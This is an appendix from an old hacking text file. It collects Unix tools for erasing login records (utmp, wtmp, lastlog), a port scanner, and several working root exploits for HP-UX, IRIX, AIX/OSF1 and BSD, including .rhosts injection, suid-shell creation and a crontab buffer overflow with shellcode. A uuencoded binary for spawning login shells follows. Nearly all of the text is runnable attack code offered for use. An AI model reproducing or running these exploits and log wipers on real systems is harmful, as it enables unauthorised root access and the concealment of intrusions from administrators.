. 1. Cloak v1.0 Wipes your presence on SCO, BSD, Ultrix, and HP/UX UNIX  .
..........................................................................


------------------ cut here

/* UNIX Cloak v1.0 (alpha)  Written by: Wintermute of -Resist- */
/* This file totally wipes all presence of you on a UNIX system*/
/* It works on SCO, BSD, Ultrix, HP/UX, and anything else that */
/* is compatible..  This file is for information purposes ONLY!*/

/*--> Begin source...    */
#include <fcntl.h>
#include <utmp.h>
#include <sys/types.h>
#include <unistd.h>
#include <lastlog.h>

main(argc, argv)
    int     argc;
    char    *argv[];
{
    char    *name;
    struct utmp u;
    struct lastlog l;
    int     fd;
    int     i = 0;
    int     done = 0;
    int     size;

    if (argc != 1) {
         if (argc >= 1 && strcmp(argv[1], "cloakme") == 0) {
	     printf("You are now cloaked\n");
	     goto start;
                                                           }
         else {
	      printf("close successful\n");
	      exit(0);
	      }
		   }
    else {
	 printf("usage: close [file to close]\n");
	 exit(1);
	 }
start:
    name = (char *)(ttyname(0)+5);
    size = sizeof(struct utmp);

    fd = open("/etc/utmp", O_RDWR);
    if (fd < 0)
	perror("/etc/utmp");
    else {
	while ((read(fd, &u, size) == size) && !done) {
	    if (!strcmp(u.ut_line, name)) {
		done = 1;
		memset(&u, 0, size);
		lseek(fd, -1*size, SEEK_CUR);
		write(fd, &u, size);
		close(fd);
	    }
	}
    }


    size = sizeof(struct lastlog);
    fd = open("/var/adm/lastlog", O_RDWR);
    if (fd < 0)
	perror("/var/adm/lastlog");
    else {
	lseek(fd, size*getuid(), SEEK_SET);
	read(fd, &l, size);
	l.ll_time = 0;
	strncpy(l.ll_line, "ttyq2 ", 5);
	gethostname(l.ll_host, 16);
	lseek(fd, size*getuid(), SEEK_SET);
	close(fd);
    }
}
---------------cut here

.............................................................................
.                                                                           .
. 2. invisible.c  Makes you invisible, and works on some SunOS without root .
.............................................................................


----------- cut here
/* invisible.c - a quick hack courtesy of the rogue */
/* erases your presence when root, or partially erases when on a sun and not root */
/* peace, dudes */


#include <fcntl.h>
#include <utmp.h>
#include <sys/types.h>
#include <unistd.h>
#include <lastlog.h>

main(argc, argv)
    int     argc;
    char    *argv[];
{
    char    *name;
    struct utmp u;
    struct lastlog l;
    int     fd;
    int     i = 0;
    int     done = 0;
    int     size;

    name = (char *)(ttyname(0)+5);
    size = sizeof(struct utmp);
    
    fd = open("/etc/utmp", O_RDWR);
    if (fd < 0)
	perror("/etc/utmp");
    else {
	while ((read(fd, &u, size) == size) && !done) {
	    if (!strcmp(u.ut_line, name)) {
		done = 1;
		memset(&u, 0, size);
		lseek(fd, -1*size, SEEK_CUR);
		write(fd, &u, size);
		close(fd);
	    }
	}
    }
    memset(&u, 0, size);
    fd = open("/var/adm/wtmp", O_RDWR | O_TRUNC);
    if (fd < 0)
	perror("/var/adm/wtmp");
    else {
	u.ut_time = 0;
	strcpy(u.ut_line, "~");
	strcpy(u.ut_name, "shutdown");
	write(fd, &u, size);
	strcpy(u.ut_name, "reboot");
	write(fd, &u, size);
	close(fd);
    }


    size = sizeof(struct lastlog);
    fd = open("/var/adm/lastlog", O_RDWR);
    if (fd < 0)
	perror("/var/adm/lastlog");
    else {
	lseek(fd, size*getuid(), SEEK_SET);
	read(fd, &l, size);
	l.ll_time = 0;
	strncpy(l.ll_line, "ttyq2 ", 5);
	gethostname(l.ll_host, 16);
	lseek(fd, size*getuid(), SEEK_SET);
	write(fd, &l, size);
	close(fd);
    }
    
}
----------- cut here

..........................................................................
.                                                                        .
. 3. SySV Program that makes you invisible                               .
..........................................................................


--------- cut here

/* MME - MakeME, Version 1.00 for SySV / Source Compatible machines   
         MME will allow you to remove yerself from the UTMP file, change
         what name appears for you in UTMP, or change what TTY you appear
         to be on.

If you modify this program or incorporate some of these routines into
another program, please somewhere in the program tell where you got
them from.. namely, put in some credits to me & This program , so
you don't "playgerize".  It makes me mad when someone modifies someone
else's work then pawns it off as their own original piece.  The credits
can even be in a comment somewhere in the source instead of visual to
the user. 

syntax:
mme
mme login_name
mme login_name new_tty

in order to change tty name, you must first supply a login name
then a ttyname.

You MUST have write perm's to /etc/utmp to modify the main utmp file.
*/

#include <stdio.h>
#include <fcntl.h>
#include <sys/types.h>
#include <utmp.h>
#include <sys/stat.h>

char *mytty; /* For an exact match of ut_line */
char *backup_utmp = "cp /etc/utmp /tmp/utmp.bak";
struct utmp *user;

main(argc,argv)
int argc;
char *argv[];
{
        int good= 0,cnt = 0,start = 1,cn = 0, cl = 0,index = 0;
        char err[80];
        if (argc >= 2) cn = 1;
        if (argc == 3) cl = 1;
        system(backup_utmp);
    printf("Welcome to MME 1.00 By Sir Hackalot\n");
    printf("Another PHAZESOFT Productions\n");
    printf("Status:");
    if (cn == 1) printf("Changing your login to %s\n",argv[1]);
        if (cl == 1) printf("Changing your tty   to %s\n",argv[2]);
        if (cl == 0 && cn == 0) printf("Removing you from utmp\n");
        utmpname("/etc/utmp");

/* The Below Section finds OUR entry, even if more than 1 of the same name
   of us is logged on.  It finds YOUR tty, looks in utmp until it finds
   your tty, then "cnt" holds your index number */
        
        mytty = strrchr(ttyname(0),'/'); /* Goto the last "/" */
        strcpy(mytty,++mytty); /* Make a string starting one pos greater */
        while (good != 1) {
                user = getutent();
                cnt++;
                if (strcmp(user->ut_line,mytty) == 0) good =1;
        }
        utmpname("/etc/utmp"); /* Reset file pointer */
        for(start = 0;start < cnt;start++) {
                user = getutent(); /* Move the file pointer to where we are */
        }

        /* Below: If we did not supply a command line arg to change name, etc,
          make us invisible from WHO.  WHO only displays USER_PROCESS 
          types, as does "w", "whodo" and all who variations.  You WILL
          be seen if they do who -l (or one some systems -L)
          if we did supply an argument make SURE we DO show up. */

        if (argc == 1)  user->ut_type = LOGIN_PROCESS; /* Become invisible */
        else user->ut_type = USER_PROCESS;

        /* ABove: You can change it to:
         else {
         user->ut_type = LOGIN_PROCESS;
         strcpy(user->ut_name,"LOGIN");
         }
          to totally hide your-self.  On some systems, if you do it, it will go
          thru the login process... But that is rare.  AT any-rate, for 
          safety, i left out the strcpy */

        /* Below: If we entered a new login name, change to that.
          If we entered a new tty, change to that. */

        if (argc == 2) strcpy(user->ut_name,argv[1]);
        if (argc == 3) strcpy(user->ut_line,argv[2]);
        pututline(user); /* Rewrite our new info */
        endutent(); /* Tell the utmp functions we are through */
        printf("Delete /tmp/utmp.bak if all is well. Else, copy it to /etc/utmp\n");
}

----------- cut here

.........................................................................
.                                                                       .
. 4. UNIX Port scanner                                                  .
.........................................................................


----------- cut here

/* 
 * internet port scanner 
 *
 * This program will scan a hosts TCP ports printing all ports that accept
 * connections, and if known, the service name.
 * This program can be trivially altered to do UDP ports also.
 *
 * Kopywrong (K) Aug. 25, '94 pluvius@io.org
 *
 * Hey kiddies, this is a C program, to run it do this:
 * $ cc -o pscan pscan.c
 * $ pscan <host> [max port]
 *
 * No, this will not get you root.
 * 
 * Changes:
 * Changed fprintf to printf in line 34 to work with my Linux 1.1.18 box
 * Netrunner 1/18/95 11:30pm
 * 
*/
static char sccsid[] = "@(#)pscan.c     1.0     (KRAD) 08/25/94";
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>

#define MAX_PORT 1024 /* scan up to this port */
int s;
struct sockaddr_in addr;
char rmt_host[100];

int skan(port)
int port;
{
 int r;
    s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (s < 0) {
       /* fprintf("ERROR: socket() failed\n"); */
       /* Changed to printf for my Linux 1.1.18 box */
       printf("ERROR: socket() failed\n");
       exit(0);
    }

    addr.sin_family = PF_INET;
    addr.sin_port = port;
    addr.sin_addr.s_addr = inet_addr(rmt_host);

    r = connect(s,(struct sockaddr *) &addr, sizeof(addr));

    close(s);

    if (r < 0) {
       return (1 == 0);
    }

    return (1 == 1);
}

main(argc,argv) 
int argc;
char *argv[];
{
 int a,b,c,d,e,f;
 struct hostent *foo;
 struct servent *bar;

   if (argc < 2) {
      fprintf(stderr,"usage: %s <host> [highest port]\n",argv[0]);
      exit(0);
   }

   if (sscanf(argv[1],"%d.%d.%d.%d",&a,&b,&c,&d) != 4) {
      foo = gethostbyname(argv[1]);
      if (foo == NULL) {
         fprintf(stderr,"error: cannot resolve host %s\n",argv[1]);
         exit(0);
      }
      sprintf(rmt_host,"%d.%d.%d.%d",(unsigned char )foo->h_addr_list[0][0],
              (unsigned char ) foo->h_addr_list[0][1], 
              (unsigned char ) foo->h_addr_list[0][2], 
              (unsigned char ) foo->h_addr_list[0][3]);
   } else {
      strncpy(rmt_host,argv[1],99);
   }


   if (argc > 2) {
      f = atoi(argv[2]);
   } else
      f = MAX_PORT;

   fprintf(stdout,"Scanning host %s - TCP ports 1 through %d\n",rmt_host,f);

   for (e =1;e<=f;e++) {
    char serv[100];
      if (skan(e)) {
         bar = getservbyport(e,"tcp");
         printf("%d (%s) is running.\n",e,(bar == NULL) ? "UNKNOWN" :
                bar->s_name);
      }
   }
}

------------ cut here

.........................................................................
.                                                                       .
.  5. Remove wtmp entries by tty number or username                     .
.........................................................................


---------- cut here


/* This program removes wtmp entries by name or tty number */

#include <utmp.h>
#include <stdio.h>
#include <sys/file.h>
#include <sys/fcntlcom.h>

void usage(name)
char *name;
{
    printf("Usage: %s [ user | tty ]\n", name);
    exit(1);
}

void main (argc, argv)
int argc;
char *argv[];
{
    struct utmp utmp;
    int size, fd, lastone = 0;
    int match, tty = 0, x = 0;

    if (argc>3 || argc<2)
       usage(argv[0]);

    if (strlen(argv[1])<2) {
       printf("Error: Length of user\n");
       exit(1);
    }

    if (argc==3)
       if (argv[2][0] == 'l') lastone = 1;

    if (!strncmp(argv[1],"tty",3))
       tty++;

    if ((fd = open("/usr/adm/wtmp",O_RDWR))==-1) {
        printf("Error: Open on /usr/adm/wtmp\n");
        exit(1);
    }

    printf("[Searching for %s]:  ", argv[1]);

    if (fd >= 0)
    {
       size = read(fd, &utmp, sizeof(struct utmp));
       while ( size == sizeof(struct utmp) )
       {
          if ( tty ? ( !strcmp(utmp.ut_line, argv[1]) ) :
            ( !strncmp(utmp.ut_name, argv[1], strlen(argv[1])) ) &&
              lastone != 1)
          {
             if (x==10)
                printf("\b%d", x);
             else
             if (x>9 && x!=10)
                printf("\b\b%d", x);
             else
                printf("\b%d", x);
             lseek( fd, -sizeof(struct utmp), L_INCR );
             bzero( &utmp, sizeof(struct utmp) );
             write( fd, &utmp, sizeof(struct utmp) );
             x++;
          }
          size = read( fd, &utmp, sizeof(struct utmp) );
       }
    }
    if (!x)
       printf("No entries found.");
    else
       printf(" entries removed.");
    printf("\n");
    close(fd);
}

------------- cut here

............................................................................
.                                                                          .
.  6. SunOS wtmp editor                                                    .
............................................................................


---------- cut here

/*
   /var/adm/wtmp editor for Sun's
   Written by gab, this will make a file wtmp.tmp then just copy
   it over /var/adm/wtmp and chmod 644 it
*/
 
#include <stdio.h>
#include <utmp.h>
#include <fcntl.h>
main(argc,argv)
int argc;
char *argv[];
{
int fp=-1,fd=-1;
struct utmp ut;
int i=0;
char name[8];
if (argc!=2) { fprintf(stderr,"usage: %s accountname\n\r",argv[0]);  exit(2);}
strcpy(name,argv[1]);
if (fp=open("/var/adm/wtmp",O_RDONLY)) {
        fd=open("wtmp.tmp",O_WRONLY|O_CREAT);
        while (read(fp,&ut,sizeof(struct utmp))==sizeof(struct utmp)) {
                if (strncmp(ut.ut_name,name,strlen(name))) write(fd,&ut,sizeof(struct utmp));
                i++;
        }
        close(fp);
        close(fd);
        }
printf("Total: %d\n\r", i);
}
------------ cut here

.......................................................................
.                                                                     .
.  7. SunOS 4+ Zap your self from wtmp, utmp and lastlog              .
.......................................................................


-------------  cut here

/*
      Title:  Zap.c (c) rokK Industries
   Sequence:  911204.B
 
    Syztems:  Kompiles on SunOS 4.+
       Note:  To mask yourself from lastlog and wtmp you need to be root,
              utmp is go+w on default SunOS, but is sometimes removed.
    Kompile:  cc -O Zap.c -o Zap
        Run:  Zap <Username>
 
       Desc:  Will Fill the Wtmp and Utmp Entries corresponding to the
              entered Username. It also Zeros out the last login data for
              the specific user, fingering that user will show 'Never Logged
              In'
 
      Usage:  If you cant find a usage for this, get a brain.
*/
 
#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <utmp.h>
#include <lastlog.h>
#include <pwd.h>
 
int f;
 
void kill_tmp(name,who)
char *name,
     *who;
{
    struct utmp utmp_ent;
 
  if ((f=open(name,O_RDWR))>=0) {
     while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
       if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
                 bzero((char *)&utmp_ent,sizeof( utmp_ent ));
                 lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
                 write (f, &utmp_ent, sizeof (utmp_ent));
            }
     close(f);
  }
}
 
void kill_lastlog(who)
char *who;
{
    struct passwd *pwd;
    struct lastlog newll;
 
     if ((pwd=getpwnam(who))!=NULL) {
 
        if ((f=open("/usr/adm/lastlog", O_RDWR)) >= 0) {
            lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
            bzero((char *)&newll,sizeof( newll ));
            write(f, (char *)&newll, sizeof( newll ));
            close(f);
        }
 
    } else printf("%s: ?\n",who);
}
 
main(argc,argv)
int  argc;
char *argv[];
{
    if (argc==2) {
        kill_tmp("/etc/utmp",argv[1]);
        kill_tmp("/usr/adm/wtmp",argv[1]);
        kill_lastlog(argv[1]);
        printf("Zap!\n");
    } else
    printf("Error.\n");
}
------------ cut here


************************************
* Appendix V - Other Unix Exploits *
************************************



..........................................................................
.                                                                        .
. 1. HP-UX Root vhe_u_mnt exploit                                        .
..........................................................................



------- cut here

/***
 *
 * HP-UX /usr/etc/vhe/vhe_u_mnt bug exploit.
 *
 * This bug is exhibited in all versions of HP-UX that contain
 * /usr/etc/vhe/vhe_u_mnt setuid to root.
 *
 * This program written by pluvius@io.org
 * The exploit code itself written by misar@rbg.informatik.th-darmstadt.de
 *
 * I found that the exploit code didn't always work due to a race between
 * the child and the parent, and that a link() called failed due to
 * the fact that user directories and the /tmp are in different file systems
 * so you must create a symlink.
 * I added in a call to alarm() so that the timing between the two processes
 * is ok..
 *
 ***/
#include <stdio.h>
#include <stdlib.h>
#include <pwd.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>
#include <netdb.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/utsname.h>

#define BUGGY_PROG "/usr/etc/vhe/vhe_u_mnt"
#define NAME "<defunct>"

int test_host()
{ struct utsname name;
   uname(&name);
   return !strcmp(name.sysname,"HP-UX");
}
int check_mount()
{ struct stat my_buf;
   if (stat(BUGGY_PROG, &my_buf))
      return 0;
   return !((my_buf.st_mode & S_ISUID) != S_ISUID);
}
void pause_handler()
{
   signal(SIGALRM,pause_handler);
}
int rhost_user(user)
char *user;
{
  struct passwd *info;
  char   homedir[80];
  int fd[2];
  int procno;
  struct stat my_buf;
  int fsize;

   info = getpwnam(user);
   if (info==NULL) {
      fprintf(stderr,"ERROR: Unknown user %s\n",user);
      exit(-3);
   }
   strcpy(homedir,info->pw_dir);
   if (homedir[strlen(homedir)-1] != '/')
      strcat(homedir,"/");
   strcat(homedir,".rhosts");

   signal(SIGALRM,pause_handler);
   memset(my_buf,0,sizeof(my_buf));
   stat(homedir,&my_buf);
   fsize = my_buf.st_size;

   /* now the exploit code... slightly modified.. but mostly from the source */
   /* by misar@rbg.informatik.th-darmstadt.de                                */
   pipe(fd);
   if (!(procno=fork())) {
      close(0);
      dup(fd[0]);
      close(fd[1]);
      close(1);
      close(2);
      alarm(2); /* wait for other process */
      nice(5);
      execl(BUGGY_PROG,NAME,NULL);
   } else {
    FILE *out;
    char listfile[25];
    char mntfile[25];
    struct stat dummy;

      close(1);
      dup(fd[1]);
      close(fd[0]);
      write(1,"+\n",2);
      sprintf(listfile,"/tmp/vhe_%d",procno+2);
      sprintf(mntfile,"/tmp/newmnt%d",procno+2);
      while (stat(listfile,&dummy));
      unlink(listfile);
      out=fopen(listfile,"w");
      fputs("+ +\n",out);
      fclose(out);
      unlink(mntfile);
      symlink(homedir,mntfile);
      waitpid(procno,NULL,0);
   }
   stat(homedir,&my_buf);
   return (fsize != my_buf.st_size);
}

void main(argc,argv)
int   argc;
char *argv[];
{
  int i;
  int rhost_root = 0;
  char userid[10];

   if (!test_host()) {
      fprintf(stderr,"ERROR: This bug is only exhibited by HP-UX\n");
      exit(-1);
   }

   if (!check_mount()) {
      fprintf(stderr,
              "ERROR: %s must exist and be setuid root to exploit this bug\n",
              BUGGY_PROG);
      exit(-2);
   }

   for (i=0;(i<5)&&(!rhost_root);i++) {
      fprintf(stderr,"Attempting to .rhosts user root..");
      if (!rhost_user("root")) {
         fprintf(stderr,"failed.\n");
      } else {
         fprintf(stderr,"succeeded\n");
         rhost_root = 1;
      }
   }

   if (!rhost_root) {
      /* failed to rhost root, try user 'bin' */
      fprintf(stderr,"Too many failures.. trying user bin...");
      if (!rhost_user("bin")) {
         fprintf(stderr,"failed.\n");
         exit(-4);
      }
      fprintf(stderr,"succeeded.\n");
      strcpy(userid,"bin");
   } {
      strcpy(userid,"root");
   }
   fprintf(stderr,"now type: \"remsh localhost -l %s csh -i\" to login\n",
           userid);
}

--------- cut here

..........................................................................
.                                                                        .
. 2. IRIX Root mail exploit                    .                         .
..........................................................................


---------- cut here

#!/bin/sh
MAIL="/bin/mail"
RM="/bin/rm -f"
CC="/usr/bin/cc"
OS="IRIX"

if  [ ".`uname -s`" != ".$OS" ];  then
  echo "this box is not running $OS !"
  exit 1
fi
echo "creating rewt.c"
cat >rewt.c <<'EOF'
main()
{
setuid(0);
setgid(0);
system("/bin/sh -i");
}
EOF
echo "compiling..."
$CC -o rewt rewt.c
if [ -f rewt ]; then
  echo "done"
  $RM rewt.c
else
  echo "unable to compile rewt.c"
  $RM rewt.c
  exit 1
fi
# make dummy mail file for -f
echo "making dummy mail file"
cat >dummymail <<'EOF'
From mr.haqr@bogus.host.edu Sun Oct 30 00:00:00 1994
Return-Path: </dev/null>
Message-Id: <m0r1RBj-0003gkC@bogus.host.edu>
From: mr.haqr (Mr. Haqr)
Subject: Irix is secure!!@#%$^
To: root (root)
Date: Sun, 30 Oct 1994 00:00:00

gimme sum rewt d00d!
<insert l0ck motd here>

EOF
echo "running $MAIL, type '!rewt' to get root, exit  with 'exit' and then 'q'"
$MAIL -f dummymail
echo "deleting evil files"
$RM dummymail rewt rewt.c

exit 0

----------- cut here

.............................................................................
.                                                                           .
. 3. Root cron grabber - Crontab exploit for OSF/1, AIX 3.2.5, Digital UNIX .
.............................................................................


[crongrab] [public release]

Crontab has a bug.  You run crontab -e, then you goto a shell, relink the
temp fire that crontab is having you edit, and presto, it is now your
property.  This bug has been confirmed on various versions of OSF/1, Digital
UNIX 3.x, and AIX 3.x

If, while running my script, you somehow manage to mangle up your whole
system, or perhaps do something stupid that will place you in jail, then
neither I, nor sirsyko, nor the other fine folks of r00t are responsible.

Personally, I hope my script eats your cat and causes swarms of locuses to
decend down upon you, but I am not responsible if they do.

--kmem.

[-- Script kiddies cut here -- ]
#!/bin/sh
 
# This bug was discovered by sirsyko Thu Mar 21 00:45:27 EST 1996
# This crappy exploit script was written by kmem.
# and remember if ur not owned by r00t, ur not worth owning
#
# usage: crongrab <file_to_grab> <destination>
 
echo Crontab exploit for OSF/1, AIX 3.2.5, Digital UNIX, others???
echo if this did not work on OSF/1 read the comments -- it is easy to fix.
 
if [ $# -ne '2' ]; then
 echo "usage: $0 <file_to_grab> <destination>"
 exit
fi
 
HI_MUDGE=$1
YUMMY=$2
export HI_MUDGE
 
UNAME=`uname`
GIRLIES="1.awk aix.sed myedit.sh myedit.c .r00t-tmp1"
 
#SETUP the awk script
cat >1.awk <<END
{
new= i%2
if (new == 0) print \$0
i++
}
END
 
cat >aix.sed <<END
/^crontab:/d
/^$/d
END
 
#shell script
cat >myedit.sh <<EDITOR_END
#!/bin/ksh
 
rm \$1
ln -s \$HI_MUDGE \$1
exit
EDITOR_END
 
chmod 700 myedit.sh
 
#save old vars
oldedit=$EDITOR
oldvis=$VISUAL
VISUAL=./myedit.sh
EDITOR=./myedit.sh
export EDITOR
export VISUAL
 
#do the exploit@!&*&*(!@*(&
 
if [ $UNAME = "AIX" ]; then
 crontab -e 2>.r00t-tmp1
 sed -f aix.sed .r00t-tmp1 > $YUMMY
elif [ $UNAME =  "OSF1" ]; then
 #FOR DIGITAL UNIX 3.X or higher machines uncomment these 2 lines
 crontab -e 2>.r00t-tmp1
 awk -f 1.awk .r00t-tmp1 >$YUMMY
 # FOR PRE DIGITAL UNIX 3.X machines uncomment this line
 #crontab -l 2>&1 > $YUMMY
else
 echo "Sorry, dont know your OS. But you are a bright boy, read the skript and"
 echo "Figger it out."
 exit
fi
 
echo "Checkit out  - $YUMMY"
echo "sirsyko and kmem kickin it out."
echo "r00t"
 
#cleanup our mess
crontab -r
VISUAL=$oldvis
EDITOR=$oldedit
HI_MUDGE=''
YUMMY=''
export HI_MUDGE
export YUMMY
export VISUAL
export EDITOR
rm -f $GIRLIES

------------- cut here

............................................................................
.                                                                          .
.  4. IRIX mail exploit to make you any user on the mahine - BUT NOT root  .
............................................................................


----------- cut here

[irixmksh] [public release]

There are bugs in the IRIX mail proggies.  This sample script exploits them
to give you an suid shell of any user on the system, EXCEPT, for uid=0.

Obviously, this script should not be run if you are a clueless script kiddie
and have no clue what is going to do.  If this script causes any sort of
harm to you, physically or virtually, them members of r00t are not responsible,
and in fact will probably laugh at you.

r00t -- you may not like us, but your girlfriend does.

Script kiddies cut here
---------------------------------------------------------------------------
#!/sbin/ksh
# usage: irixmksh <user> - creates an suid shell of any user on the system
# except for uid=0

FILES=qfAA12345 putq /tmp/x usr

if [ "x`uname -s`" != "xIRIX" ];then
  echo "this box is not running IRIX - later..."
  exit 1
fi

if [ "$#" != "1" ]; then
  echo "Usage: $0 <non uid=0 user>"
  exit 1
fi

TargetUser=$1

# Make the mail queue files
cat <<_r00t-text_>qfAA12345
P0
T830896940
DdfAA12345
Bblah
Mdeferred: just cuz...
C$TargetUser
Sroot
R<"|/tmp/x">
H?P?return-path: <root>
H?D?date: Tue, 30 Feb 1996 12:34:56 -0400
H?F?from: root (root)
Hreceived: by hackerz.dom (HackerOS/UCB 5.64/Hackerz Domain
        id AA12345 for root@hackerz.com; Tue, 30 Feb 1996 12:34:56 -0400
H?M?message-id: <9602301234.AA12345@localhost>
Happarently-to: root@plato.coolcode.com
_r00t-text_


# Make the script to run with euid=mail
cat<<_r00t-text_>putq
#!/bin/sh
cp qfAA12345 /usr/spool/mqueue
touch /usr/spool/mqueue/dfAA12345
chown root /usr/spool/mqueue/*5
_r00t-text_
chmod u+x putq

# Make the script to create the suid shell
cat<<_r00t-text_>/tmp/x
#!/bin/sh
cp /bin/sh /tmp/b00sh.$TargetUser
chmod 6777 /tmp/b00sh.$TargetUser
_r00t-text_
chmod u+x /tmp/x
chown $TargetUser /tmp/x

# Make the script to grab suid mail shell
cat<<_r00t-text_>usr
#!/bin/sh
chgrp mail b00sh-mail
chmod 2777 b00sh-mail
_r00t-text_
chmod u+x usr

# Now snag mail access and send the queue files.
cp /bin/sh b00sh-mail
export PATH=.:$PATH
export IFS=/
echo "blah" | rmail $LOGNAME
export IFS=

b00sh-mail putq
mailq

# Clean Up:
rm $FILES
-------------------------------- cut here

5. The Root BSD crontab exploit

---------------- cut here

/*
** BSDI/FreeBSD exploit for crontab
**
** For BSDi (Tested in 2.1) the default offset should be OK
** For FreeBSD, the offset seems to be around 1000
**
** I didn't find this hole, I only exploited it.
**
** Brian Mitchell brian@saturn.net
*/
 
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
 
#define DEFAULT_OFFSET          -1050
#define BUFFER_SIZE             100     /* MAX_TEMPSTR is 100 */
#define HAPPY_FILE              "./Window"
 
long get_esp(void)
{
   __asm__("movl %esp,%eax\n");
}
 
main(int argc, char **argv)
{
   int fd;
   char *buff = NULL;
   unsigned long *addr_ptr = NULL;
   char *ptr = NULL;
   
   char execshell[] =
   "\xeb\x23"
   "\x5e"
   "\x8d\x1e"
   "\x89\x5e\x0b"
   "\x31\xd2"
   "\x89\x56\x07"
   "\x89\x56\x0f"
   "\x89\x56\x14"
   "\x88\x56\x19"
   "\x31\xc0"
   "\xb0\x3b"
   "\x8d\x4e\x0b"
   "\x89\xca"
   "\x52"
   "\x51"
   "\x53"
   "\x50"
   "\xeb\x18"
   "\xe8\xd8\xff\xff\xff"
   "/bin/sh"
   "\x01\x01\x01\x01"
   "\x02\x02\x02\x02"
   "\x03\x03\x03\x03"
   "\x9a\x04\x04\x04\x04\x07\x04";
   
 
  
/*
 * The sscanf line reads for 'name' as %[^ =].  Neither a space, nor
 * a '=' character appears below
 */
 
   
   int i;
   int ofs = DEFAULT_OFFSET;
 
   /* if we have a argument, use it as offset, else use default */
   if(argc == 2)
      ofs = atoi(argv[1]);   
   else if (argc > 2) {
      fprintf(stderr, "egg [offset]\n");
      exit(-1);
   }
   /* print the offset in use */
   printf("Using offset of esp + %d (%x)\n", ofs, get_esp()+ofs);
   
   buff = malloc(4096);
   if(!buff)
   {
      printf("can't allocate memory\n");
      exit(0);
   }
   ptr = buff;
   /* fill start of buffer with nops */
   memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
   ptr += BUFFER_SIZE-strlen(execshell);
   /* stick asm code into the buffer */
   for(i=0;i < strlen(execshell);i++) 
      *(ptr++) = execshell[i];
   
   addr_ptr = (unsigned long *)ptr;
   for(i=0;i < (878/4);i++)
      *(addr_ptr++) = get_esp() + ofs;
   ptr = (char *)addr_ptr;
   *ptr++ = '=';
   *ptr++ = 'X';
   *ptr++ = '\n';
   *ptr = 0;
   printf("Writing to %s\n", HAPPY_FILE);
 
/*
 * The sleep is required because as soon as crontab opens the tmp file it
 * stat's and saves it.  After the EDITOR program exists it stats again
 * and if they are equal then it assumes changes weren't made and exits.
 */
   fd = open(HAPPY_FILE, O_WRONLY|O_CREAT, 0666);
   write (fd, buff, strlen(buff));
 
   close(fd);
 
   execl("/usr/bin/crontab","crontab",HAPPY_FILE,NULL); 
   /* Successful completion */
   exit(0);
}
----------- cut here

*********************************************
* Appendix VI - UUENCODED FILES             *
*********************************************

1. Quantum's bindwarez utility uuencoded

Bindwarez binary file for use with Quantum's PHF guide for login shells
in the PHF section here.

begin 664 binwarez.zip
M4$L#!!0````(`'>"0B)K$\T.%CD``.QW```)`!``8FEN9'=A<F5Z55@,`"GG
M]C("$_4R`````.U]>UQ41]+HF6$&!QP<5#1H4$<C$9.(X"MB-,IC$#8((\-#
MHX8@C!X(`@MG?.2*8@82QLF8B4DV^7:3K*S9;]W-8]W=:$A,%!\!\]B$&'?C
M%]TLV9CD3,9DW3P0$9E;5=UG9D#-XOV^W^_>/R[\ZO2I[NKNZNKJZNH^/>=L
M-66EJU0J0?E3"R$"88]I=+,@>$YB\;,$HZ`5XH110I002CA`/=``[()[!"V`
M!B`$X"0"I"&,A/N1/$W%@?X@#2'L/D%`P/Q")$N/!#SRDD:'T`$5[IHL4+V8
MKH;`_%,`E5:'X`8<(937,;VB;/7TBM)I%665MHWQM57QB<+Z5(B_FU>[@(>W
M`.0`+`;(`I@&,!,@%Z`0(!S@)H";`3#_(IYO*<!"?K\$(`W@=H!8@!$`>0`Z
M@-LXS7*`N_A]&,!D?J_G80CG>RC`?&P;C[\3P``0`Y``,(_'+P-(![``3`+(
M!I@-4``P7`C\H<R',)$)TWG<,(`)`I?UC_S=&'2/\H[B]S."XL<"F`"2`>;^
MF_)^[&_,5>)">7C#@/C1`+<"3!D0/Y6'<5<I*Q$@'F`.Q\?S\`Z`<0`10;0I
M/$0=C.;WLWB8-*#<G_!P%$`^@!%@(H_+Y&'&5?C!/GIJAT:'?(S@]1P''-,F
M<?Y0KQGMOWS8UNA'-+JUG![;$@=XA8;ABP#$1P+Y49]QW&@HOY[TM9Z7/P(T
M`G5;=`?H5P'(@-_,R[<"=`/^)L?78?V/!NAMF#\(_U_8GB#\`8`]@'^J8OFW
M(S__4.H/I[&Z;">S+YC^I(!C)=#>%R%L@O1ZGOXZE@?\;^0X\M4"^%2.OPUP
M"O`X7O\'V![`Y_+TC[$]@-_$\<\`="`O&\?/`W2"O)F\A@L]$)[EN!%["]HA
M`Y['T_6`SX7\6WC^$8!G!,E_#.#+@O#Q@&\$/$/%\,D0SE<'ZKL5\"9(WQO"
MRDL"_"G`E_'\BS#]4XWN3JHO3%@,^!Z>CO39@+<$U9<'^/$@_&[`3P$^A]/?
MB^T!?#5/MP+>#?B?>'HMX+H@_=@$>'00OA7P.'>`OP=1'H"G\_P[41[N0/\^
MB_)P*_TO"+]6!?33"/KY(LHGJ/Q]V-Z@\E]#>0!>P?$W`5\$\E-S^7V(\@BJ
M[^^`IP7)]PN43U#Y7I0/X/_B]-^A?`!?R?%>;#_H;X::X2$0Q@&^DZ>'`3X7
M<#,O+Q+PC"#]'P7X,L!G<?T?!_A&P&_C^2<#W@3X&8['`]X">"K'YP)^_%$V
M'K&\%,!/!96_&'#YT<!XS0:\.XB?0L!U,'Z6</M@!3P:\%\H_8OM`3Q/Z5]L
MS\Y`^8W8GIV!^EV`BSL#_?$?V![`6_2LO%\!_M1.13\%X47`]P`>R?$_8?N"
MRF_!]@7AA[!].P/V[2VL/ZC__@O;&T3_=W5@?%+_`J[A]@7MQ]=J-IX5_/L!
M.$ZX>R<$X>`O2-::=27%U>@MS!!JI9J2ZDU"656)5"$4I2W/3EZ2F2JLM4K6
MRO5"41$D2U451665D*FRN$)85UQ1454""9!<5E-5*4!2F21LJ"F3K%A69<FZ
